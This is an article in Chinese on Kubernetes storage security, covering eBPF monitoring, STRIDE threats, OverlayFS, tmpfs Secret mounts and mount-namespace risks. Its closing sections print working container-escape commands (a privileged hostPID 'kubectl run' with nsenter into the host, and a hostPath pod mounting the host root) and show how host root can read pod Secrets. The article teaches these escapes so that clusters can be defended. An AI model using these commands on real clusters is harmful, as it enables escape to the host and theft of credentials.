隨著eBPF技術的發展，它也開始在儲存安全領域發揮作用。透過eBPF，我們能夠監控檔案系統操作、追蹤敏感檔案的存取，並在可疑活動發生時即時觸發警示。
例如，可以使用eBPF程式監控容器內的檔案系統操作，偵測異常存取模式，如大量讀取敏感檔案或嘗試修改系統關鍵檔案。這種即時監控能力為容器化環境中的儲存安全提供了新的防禦層。
在實際應用中，我曾使用eBPF技術構建一個檔案完整性監控系統，能夠在關鍵系統檔案被修改時立即發出警示，同時記錄下修改者的詳細資訊。這比傳統的檔案監控工具效能更高，對系統的影響也更小。
Kubernetes網路安全需要多層次防禦策略。從基本的網路策略到先進的服務網格和eBPF技術，每一層都為整體安全架構增添了重要的保護。eBPF作為一項革命性技術，正在改變我們實施網路控制、監控系統行為和保護資料安全的方式。
同時，儲存安全同樣至關重要。組織必須認識到資料的價值，並採取全面措施保護靜態資料免受未授權存取。這包括加密敏感資料、實施嚴格的存取控制，以及使用先進技術如eBPF來監控和保護儲存系統。
隨著容器技術和雲原生應用的持續發展，安全策略也需要不斷演進。採用eBPF等創新技術，結合傳統的安全最佳實踐，可以幫助組織建立更強大、更靈活的安全防護體系，有效應對不斷變化的威脅環境。
Kubernetes儲存安全的關鍵考量
在Kubernetes環境中，儲存一直是安全架構中極為重要卻容易被忽視的環節。容器的臨時特性與持久資料的需求之間存在著天然的矛盾，而這種矛盾正是許多安全漏洞的溫床。我在多年的容器安全實踐中發現，理解儲存機制的底層原理是構建安全系統的基礎。
容器卷與掛載機制
在Kubernetes中，卷(Volume)作為容器內的目錄出現，其背後的實際儲存機制由卷型別決定。這些卷可能包含預先填充的資料，取決於卷背後的儲存是否已經被使用。Kubernetes支援多種卷型別，包括一些歷史上存在安全漏洞的協定，如網路檔案系統(NFS)和網際網路小型電腦系統介面(iSCSI)，以及各種外掛如gitRepo（在掛載到容器前執行Git簽出步驟的空卷）。
值得注意的是，gitRepo卷外掛要求kubelet在主機上的shell中執行git命令，這使得Kubernetes容易受到Git攻擊，如CVE-2017-1000117。雖然攻擊者需要擁有建立Pod的許可權，但這項功能的便利性不足以證明增加攻擊面的合理性，因此這種卷型別已被棄用（可使用初始化容器作為簡單替代）。
儲存安全的選擇與考量
儲存是與底層硬體的整合，因此威脅取決於儲存的設定方式。市場上存在多種儲存驅動程式，選擇時應考慮團隊的技術能力和支援資源。
我認為，在考慮儲存安全時，應該關注資料的整個生命週期：從應用程式建立和生成、持久化儲存、加密備份到長期儲存媒體、從儲存中檢索以展示給使用者，直到從短期和長期儲存中刪除。這個完整的資料生命週期是安全規劃的基礎。
STRIDE威脅模型在儲存安全中的應用
STRIDE威脅模型框架非常適合儲存安全分析。這個框架包含六個關鍵方面：
身份冒充 (Spoofing)
如果攻擊者能夠更改資料，他們可以植入虛假資料和使用者帳戶。在儲存系統中，這意味著需要強大的身份驗證機制確保只有授權實體才能存取和修改資料。
資料竄改 (Tampering)
在攻擊者控制下的資料可能被操縱、加密勒索或刪除。資料完整性保護機制，如校驗和、數位簽名等，是防止此類別攻擊的關鍵。
否認性 (Repudiation)
對儲存檔案元資料的加密簽名確保更改的檔案無法透過驗證，除非攻擊者控制簽名金鑰並重新生成簽名的元資料。這種不可否認性對於敏感操作的稽核和追責至關重要。
資訊洩露 (Information disclosure)
許多系統在除錯和日誌資料中洩漏敏感資訊，而容器掛載點可能洩露主機的裝置和磁碟抽象。這要求我們對日誌和除錯訊息進行嚴格管控。
拒絕服務 (Denial of service)
資料可能被移除，磁碟吞吐量或IOPS耗盡，配額或限制被用盡。儲存系統必須實施資源限制和監控機制，以防止此類別攻擊。
許可權提升 (Elevation of privilege)
外部掛載可能使容器突破限制。這要求我們嚴格控制掛載許可權，並實施最小許可權原則。
Kubernetes儲存概念解析
Linux中的「一切皆為位元組流」
在Linux中，常說「一切皆為檔案」，但這並不完全正確。更準確地說，一切都可以「作為檔案」使用檔案描述符進行讀取或寫入。檔案描述符就像指向特定頁面上特定單詞的圖書館書籍參考。
Linux中有七種檔案描述符型別：檔案、目錄、字元裝置、區塊裝置、管道、符號連結和通訊端。這些廣泛涵蓋了檔案、硬體裝置、虛擬裝置、記憶體和網路。
當我們擁有指向有用內容的檔案描述符時，我們可以使用流入(寫入)或流出(讀取)的二進位資料流進行通訊。這適用於檔案、顯示驅動程式、音效卡、網路介面，以及系統連線並瞭解的所有內容。因此，更準確地說，在Linux中「一切皆為位元組流」。
在容器內部，我們只是執行標準的Linux程式，所以這一切對容器也同樣適用。容器「只是Linux」，所以與它的互動也是透過位元組流。
容器中的狀態與儲存
值得注意的是，「無狀態容器」不希望將重要資料持久化到本地檔案系統，但它們仍然需要輸入和輸出才能發揮作用。狀態必須存在；將其儲存在資料函式庫或外部系統中可以實作雲原生的彈性擴充和故障還原等優勢。
容器中的所有程式在其生命週期中都可能希望寫入資料。這可能是對網路的讀取或寫入，或將變數寫入記憶體或臨時檔案到磁碟，或從核心讀取諸如「我可以分配的最大記憶體是多少？」之類別的資訊。
當容器的程式想要將資料「寫入磁碟」時，它使用容器映像頂部的讀/寫層。這一層在執行時建立，不影響其餘的不可變映像。因此，程式首先寫入容器內的本地檔案系統，該檔案系統使用OverlayFS從主機掛載。OverlayFS將程式寫入的資料代理到主機的檔案系統（例如ext4或ZFS）。
檔案系統基礎
檔案系統是在捲上組織和檢索資料的方式，就像檔案系統或圖書館索引。
Linux使用單一虛擬檔案系統(VFS)，掛載在 / 掛載點，將多個其他檔案系統合併為一個檢視。這是一個抽象層，允許標準化的檔案系統存取。核心也將VFS用作使用者空間程式的檔案系統介面。
「掛載」檔案系統會建立一個dentry，它代表核心vfsmount表中的目錄項。當我們透過檔案系統使用cd命令時，我們正在與dentry資料結構的例項互動，以檢索有關我們正在檢視的檔案和目錄的資訊。
虛擬檔案系統可能按需建立，例如/proc中的procfs和/sys中的sysfs，或者像VFS那樣對映到其他檔案系統。
每個非虛擬檔案系統都必須存在於一個捲上，該卷代表儲存我們資料的一個或多個媒體。卷是呈現給使用者的內容：具有ext4檔案系統的單個SSD，或RAID或NAS儲存陣列中的多個旋轉磁碟，都可能作為單個卷和檔案系統顯示給使用者。
我們可以物理地將資料讀取或寫入到實體「區塊裝置」，如SSD或旋轉磁碟，就像我們使用圖書館書籍中的頁面和文字行一樣。
其他型別的虛擬檔案系統也沒有卷，例如udev，「使用者空間/dev」檔案系統，它管理我們的/dev目錄中的裝置節點，以及procfs，它通常對映到/proc並方便地透過檔案系統公開Linux核心內部。
檔案系統是使用者互動的物件，但卷可能是本地或遠端磁碟、單個磁碟、跨多個磁碟的分散式資料儲存、虛擬檔案系統或這些東西的組合。
Kubernetes允許我們掛載多種不同的卷型別，但卷抽象對最終使用者是透明的。由於卷與核心的契約，對於檢視它們的使用者來說，每個卷都顯示為檔案系統。
容器卷與掛載深入解析
容器啟動時的檔案系統掛載
當容器啟動時，容器執行時將檔案系統掛載到其掛載名稱空間中。以Docker為例：
$ docker run -it sublimino/hack df -h
Filesystem Size Used Avail Use% Mounted on
overlay 907G 532G 329G 62% /
tmpfs 64M 0 64M 0% /dev
shm 64M 0 64M 0% /dev/shm
/dev/mapper/tank-root 907G 532G 329G 62% /etc/hosts
tmpfs 32G 0 32G 0% /proc/asound
tmpfs 32G 0 32G 0% /proc/acpi
tmpfs 32G 0 32G 0% /sys/firmware
這個輸出展示了容器內部的檔案系統掛載情況。我們可以看到Docker從主機掛載了一個/etc/hosts檔案，在這個例子中是一個裝置對映器「特殊檔案」。還有一些特殊的檔案系統，包括/dev/mapper/裝置對映器。此外還有更多，包括proc、sysfs、udev和cgroup2等。
這種掛載結構對安全有重要影響，因為它可能揭示主機系統的資訊，甚至在某些情況下提供潛在的攻擊路徑。例如，透過分析檔案系統掛載資訊，攻擊者可能推斷出主機的儲存設定和潛在的弱點。
OverlayFS詳解
OverlayFS透過組合多個唯讀掛載點建立單個檔案系統。為了寫回檔案系統，它使用位於其他層之上的「寫時複製」層。這使它特別適用於容器，也適用於可引導的「即用光碟」（可用於執行Linux）和其他唯讀應用程式。
容器的檔案系統根目錄由OverlayFS提供，我們可以看到它洩露了主機的磁碟元資料，並顯示了磁碟大小和使用情況。我們可以透過將/和/etc/hosts目錄傳遞給df來比較行：
$ docker run -it sublimino/hack df -h / /etc/hosts
Filesystem Size Used Avail Use% Mounted on
overlay 907G 543G 319G 64% /
/dev/mapper/tank-root 907G 543G 319G 64% /etc/hosts
Podman也一樣，雖然它從不同的檔案系統掛載/etc/hosts（注意這使用sudo，而不是無根）：
$ sudo podman run -it docker.io/sublimino/hack:latest df -h / /etc/hosts
Filesystem Size Used Avail Use% Mounted on
overlay 907G 543G 318G 64% /
tmpfs 6.3G 3.4M 6.3G 1% /etc/hosts
這些命令展示了不同容器執行時如何掛載檔案系統，特別是它們如何處理主機資訊。值得注意的是，無根Podman使用者空間檔案系統fuse-overlayfs，以避免在設定案系統時請求root許可權：
$ podman run -it docker.io/sublimino/hack:latest df -h / /etc/hosts
Filesystem Size Used Avail Use% Mounted on
fuse-overlayfs 907G 543G 318G 64% /
tmpfs 6.3G 3.4M 6.3G 1% /etc/hosts
這種方法限制了檔案系統程式碼中錯誤的影響——由於它不由root擁有，它不是潛在的許可權提升途徑。這是一種安全增強措施，展示瞭如何透過設計限制潛在的攻擊面。
卷與實體儲存的關係
如果卷持久化資料，它最終必須對映到一個或多個實體磁碟。為什麼這很重要？因為它留下了攻擊者可以追蹤回主機的痕跡。如果在處理這些掛載的任何軟體中存在錯誤或設定錯誤，主機可能會受到攻擊。
在設計容器儲存策略時，我發現需要考慮以下幾點：
- 卷型別的選擇應根據安全需求，而不僅是便利性
- 掛載許可權應遵循最小許可權原則
- 外部掛載（尤其是網路檔案系統）需要額外的安全措施
- 儲存驅動程式和後端應定期更新以修補已知漏洞
儲存安全的最佳實踐
根據STRIDE模型和對容器儲存機制的深入理解，我建議以下最佳實踐：
資料生命週期管理
對於Kubernetes環境中的資料，應該實施完整的生命週期管理策略。這包括：
- 建立時使用適當的存取控制和許可權
- 儲存時實施加密（靜態加密）
- 備份時確保安全傳輸和儲存
- 檢索時驗證完整性和來源
- 刪除時使用安全擦除方法
防範常見儲存威脅
針對STRIDE模型中識別的威脅，可以採取以下措施：
- 身份冒充：實施強大的身份驗證機制，特別是對於網路儲存
- 資料竄改：使用數位簽名和校驗和驗證資料完整性
- 否認性：維護不可變的稽核日誌記錄所有儲存操作
- 資訊洩露：限制容器對主機儲存元資料的可見性
- 拒絕服務：實施儲存資源配額和限制
- 許可權提升：嚴格控制卷掛載許可權，尤其是主機路徑卷
卷型別選擇與設定
在選擇Kubernetes卷型別時，應考慮安全影響：
- 避免使用已知存在安全問題的歷史卷型別（如gitRepo）
- 對於需要Git整合的場景，使用初始化容器作為更安全的替代方案
- 網路儲存（如NFS）應設定適當的身份驗證和加密
- CSI（容器儲存介面）驅動程式應保持最新狀態以修補安全漏洞
深入理解Linux檔案系統安全
在容器環境中，理解底層Linux檔案系統的工作方式對於識別潛在的安全問題至關重要。特別是OverlayFS的使用為容器提供了隔離，但也引入了一些需要考慮的安全方面。
OverlayFS的安全考量
OverlayFS的分層特性雖然為容器提供了效率，但也存在一些安全考量：
- 層之間的許可權模型可能導致混淆
- 寫時複製機制可能在某些情況下洩露底層資料
- 掛載選項和設定錯誤可能導致安全問題
在實踐中，我建議仔細檢查OverlayFS設定，並確保容器執行時使用最新的安全修補程式。
檔案系統隔離與容器安全
容器安全在很大程度上依賴於正確的檔案系統隔離。在Kubernetes環境中：
- 名稱空間提供了基本的檔案系統隔離
- 卷掛載可能破壞這種隔離，特別是主機路徑卷
- 掛載傳播設定需要特別注意，以防止意外的資訊洩露
透過深入理解Linux檔案系統、掛載機制和容器執行時如何與它們互動，我們可以更好地保護Kubernetes環境中的儲存資源。
儲存安全是Kubernetes安全架構中不可忽視的關鍵部分。從資料建立到刪除的整個生命週期都需要安全控制。透過理解底層的Linux檔案系統概念、容器卷機制和潛在的威脅模型，我們可以更好地保護容器化應用程式中的資料。
STRIDE威脅模型為我們提供了一個系統化的方法來評估儲存安全風險，而對OverlayFS等技術的深入理解幫助我們識別潛在的弱點。最終，安全的儲存策略應該兼顧效能、便利性和安全性，同時考慮團隊的技術能力和支援資源。
在容器環境中，記住「一切皆為位元組流」的Linux原則，以及這些流如何在容器、主機和儲存系統之間移動，是構建強大安全架構的基礎。透過正確的卷型別選擇、許可權設定和生命週期管理，我們可以顯著提高Kubernetes環境中資料的安全性。
容器掛載名稱空間的安全風險
容器技術為我們提供了與宿主機隔離的軟體定義環境，但這種隔離並非完美無缺。在容器安全領域中，掛載點一直是最容易被攻擊者利用的薄弱環節。透過多年的安全研究，我發現掛載名稱空間是容器逃逸最常見的入口點之一。
掛載點：抽象層的滲漏處
當我們分析容器技術時，會發現掛載點是抽象層最容易滲漏的地方。這並非偶然，而是有其歷史原因 - 磁碟操作一直是系統中最容易出錯與難以處理的部分。容器執行時並沒有真正隱藏宿主機的磁碟裝置，而是透過掛載名稱空間呼叫 pivot_root 讓容器在宿主機檔案系統的子集中運作。
攻擊者可能會嘗試：
- 將指令碼或二進位檔案放入掛載卷中，然後讓宿主機在不同的程式名稱空間中執行
- 建立指向宿主機合法檔案的符號連結，當在宿主機的掛載名稱空間中被讀取和解析時會造成安全問題
從攻擊者的角度看，當我們在容器內看到宿主機的磁碟（如 /dev/mapper/tank-root）時，這就是一個提醒，促使我們探索更多可見的邊界並深入挖掘潛在的漏洞。
tmpfs：記憶體中的臨時檔案系統
tmpfs 的工作原理
檔案系統允許客戶端讀取或寫入資料，但它並不一定要在被告知時寫入資料，甚至不一定要持久化資料。檔案系統可以根據自己的邏輯處理資料。通常，檔案系統的資料會儲存在物理磁碟上，但在某些情況下，如臨時檔案系統 tmpfs，所有資料都儲存在記憶體中，不會永久儲存。
tmpfs 作為 Linux 首選的臨時檔案系統，它透過在記憶體中建立虛擬檔案系統，使預分配的宿主機記憶體可用於檔案系統操作。這對於指令碼和資料密集型的檔案系統處理特別有用。
容器中的 tmpfs 應用
容器使用 tmpfs 檔案系統來隱藏宿主機的檔案系統路徑，這種技術稱為「遮蔽」（masking），用於對使用者隱藏路徑或檔案。
Kubernetes 也使用 tmpfs 將設定注入容器，這符合「12因素應用」原則：設定不應該在容器內部，而應該在執行時增加，因為它在不同環境中可能會有所不同。
與所有檔案系統掛載一樣，宿主機上的 root 使用者可以看到所有內容。它需要能夠除錯機器，因此這是一個常見與預期的安全邊界。
Kubernetes 中的 Secret 與 tmpfs
Kubernetes 可以將 Secret 檔案掛載到單個容器中，並使用 tmpfs 實作。每個容器的 Secret（如服務帳戶令牌）都有一個從宿主機到容器的 tmpfs 掛載，其中包含 Secret。其他掛載名稱空間將 Secret 與其他容器隔離，但由於宿主機建立和管理所有這些檔案系統，宿主機的 root 使用者可以讀取 kubelet 為其託管的 pod 掛載的所有 Secret。
在宿主機上以 root 身份，我們可以使用 mount 命令檢視本地 kubelet 為在宿主機上執行的 pod 掛載的所有 Secret：
$ mount | grep secret
tmpfs on /var/lib/kubelet/.../kubernetes.io~secret/myapp-token-mwvw2 type tmpfs (rw,relatime)
tmpfs on /var/lib/kubelet/.../kubernetes.io~secret/myapp-token-mwvw2 type tmpfs (rw,relatime)
...
上面的命令使用 mount 列出所有掛載點，然後透過 grep 過濾出包含 “secret” 的行。輸出顯示了 Kubernetes 使用 tmpfs 掛載的 Secret，包括掛載路徑和掛載型別。這些都是臨時檔案系統，只存在於記憶體中，提供讀寫存取許可權。
每個掛載點都是一個獨立的檔案系統，因此 Secret 儲存在每個檔案系統上的檔案中。這利用了 Linux 許可權模型來確保機密性。只有容器中的程式被授權讀取掛載到其中的 Secret，而 root 使用者則無所不知，幾乎可以檢視和執行任何操作：
gke-unmarred-poverties-2-default-pool-c838da77-kj28 ~ # ls -lasp \
/var/lib/kubelet/pods/.../volumes/kubernetes.io~secret/default-token-w95s7/
total 4
0 drwxrwxrwt 3 root root 140 Feb 20 14:30 ./
4 drwxr-xr-x 3 root root 4096 Feb 20 14:30 ../
0 drwxr-xr-x 2 root root 100 Feb 20 14:30 ..2021_02_20_14_30_16.258880519/
0 lrwxrwxrwx 1 root root 31 Feb 20 14:30 ..data -> ..2021_02_20_14_30_16.258880519/
0 lrwxrwxrwx 1 root root 13 Feb 20 14:30 ca.crt -> ..data/ca.crt
0 lrwxrwxrwx 1 root root 16 Feb 20 14:30 namespace -> ..data/namespace
0 lrwxrwxrwx 1 root root 12 Feb 20 14:30 token -> ..data/token
這個命令展示了 Kubernetes Secret 在宿主機上的檔案結構。我們可以看到 Secret 的實際內容儲存在一個時間戳命名的目錄中（..2021_02_20_14_30_16.258880519/），而 ..data 是指向這個目錄的符號連結。然後，ca.crt、namespace 和 token 這些常見的 Secret 檔案都是指向 ..data 目錄中對應檔案的符號連結。這種結構設計使得 Kubernetes 可以原子性地更新 Secret 內容。
卷掛載如何破壞容器隔離
我們認為任何引入到容器中的外部元素，或者任何安全控制的放寬，都會增加容器安全的風險。掛載名稱空間經常用於將只讀檔案系統掛載到 pod 中，為了安全起見，在可能的情況下應始終設定為只讀。
Docker 通訊端掛載的危險性
如果將 Docker 伺服器的客戶端通訊端以讀寫方式掛載到容器中，容器就能夠使用 Docker 客戶端在同一宿主機上啟動新的特權容器。
特權模式會移除所有安全功能，並分享宿主機的名稱空間和裝置。因此，特權容器中的攻擊者現在能夠突破容器的限制。
最簡單的方法是使用名稱空間操作工具 nsenter，它可以進入現有的名稱空間，或在全新的名稱空間中啟動程式。這個命令與 docker exec 非常相似：它將當前或新程式移動到指定的名稱空間。這相當於將 shell 工作階段的使用者在不同的名稱空間環境之間傳送。
nsenter 被視為除錯工具，它避免進入 cgroups 以規避資源限制。Kubernetes 和 docker exec 會遵守這些限制，因為資源耗盡可能會導致整個節點伺服器遭受拒絕服務攻擊。
以下是在 PID 1 的掛載名稱空間中啟動 Bash 的命令：
$ nsenter --mount=/proc/1/ns/mnt /bin/bash
這個命令使用 nsenter 在 PID 1（通常是宿主機的 init 程式）的掛載名稱空間中啟動一個 Bash shell。對安全至關重要的是要理解哪個名稱空間的 /proc 檔案系統被掛載到本地檔案系統上。任何從宿主機掛載到容器的內容都給了我們攻擊它的機會。
如果呼叫程式在具有自己的掛載名稱空間的容器中，該命令會在同一容器名稱空間中啟動 Bash，而不是宿主機的名稱空間。
然而，如果呼叫程式分享宿主機的 PID 名稱空間，此命令將利用 /proc/1/ns/mnt 連結。分享宿主機的 PID 名稱空間會在容器的 /proc 中顯示宿主機的 /proc，顯示與之前相同的程式，並增加目標名稱空間中的所有其他程式。
Kubernetes 中的容器逃逸技術
Duffie Cooley 和 Ian Coldwater 在首次會面時建立了經典的 Kubernetes 攻擊命令。讓我們仔細看一下：
$ kubectl run r00t --restart=Never \
-ti --rm --image lol \
--overrides '{"spec":{"hostPID": true, \
"containers": [{"name":"1","image":"alpine",\
"command":["nsenter","--mount=/proc/1/ns/mnt","--",\
"/bin/bash"],"stdin": true,"tty":true,\
"securityContext": {"privileged":true}}]}}'
r00t / # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),...
r00t / # ps faux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 2 0.0 0.0 0 0 ? S 03:50 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 03:50 0:00 \_ [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 03:50 0:00 \_ [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 03:50 0:00 \_ [kworker/0:0H-kblockd]
root 9 0.0 0.0 0 0 ? I< 03:50 0:00 \_ [mm_percpu_wq]
root 10 0.0 0.0 0 0 ? S 03:50 0:00 \_ [ksoftirqd/0]
root 11 0.2 0.0 0 0 ? I 03:50 1:11 \_ [rcu_sched]
root 12 0.0 0.0 0 0 ? S 03:50 0:00 \_ [migration/0]
這個命令是一個強大的容器逃逸技術展示。它建立了一個名為 r00t 的 Pod，使用以下關鍵設定：
hostPID: true- 允許 Pod 檢視宿主機的程式privileged: true- 給予容器特權存取許可權- 使用
nsenter命令進入宿主機的掛載名稱空間
執行後，我們可以看到：
id命令顯示我們擁有 root 許可權ps faux顯示了核心執行緒（如kthreadd、rcu_gp等），這證明我們已經在宿主機的名稱空間中
這種形式 nsenter --all --target ${TARGET_PID} 用於進入程式的所有名稱空間，類別似於 docker exec。
宿主機路徑掛載的風險
這與從宿主機掛載的卷不同：
apiVersion: v1
kind: Pod
metadata:
name: redis
spec:
containers:
- name: redis
image: redis
volumeMounts:
- name: redis-storage
mountPath: /data/redis
volumes:
- name: redis-storage
hostPath:
path: /
nodeName: master
這個 YAML 設定建立了一個 Redis Pod，其中將宿主機的根目錄 (/) 掛載到容器的 /data/redis 路徑。這種設定極其危險，因為它給容器提供了對宿主機整個檔案系統的存取許可權。
這個 redis 卷將宿主機的磁碟掛載在容器中，但它不在相同的程式名稱空間中，因此無法影響從該磁碟啟動的應用程式的執行例項（如 sshd、systemd 或 kubelet）。它可以更改設定（包括 crontab、/etc/shadow、ssh 和 systemd 單元檔案），但無法向程式傳送訊號以重新啟動。這意味著需要等待事件（如重啟或守護程式重新載入）來觸發更改。
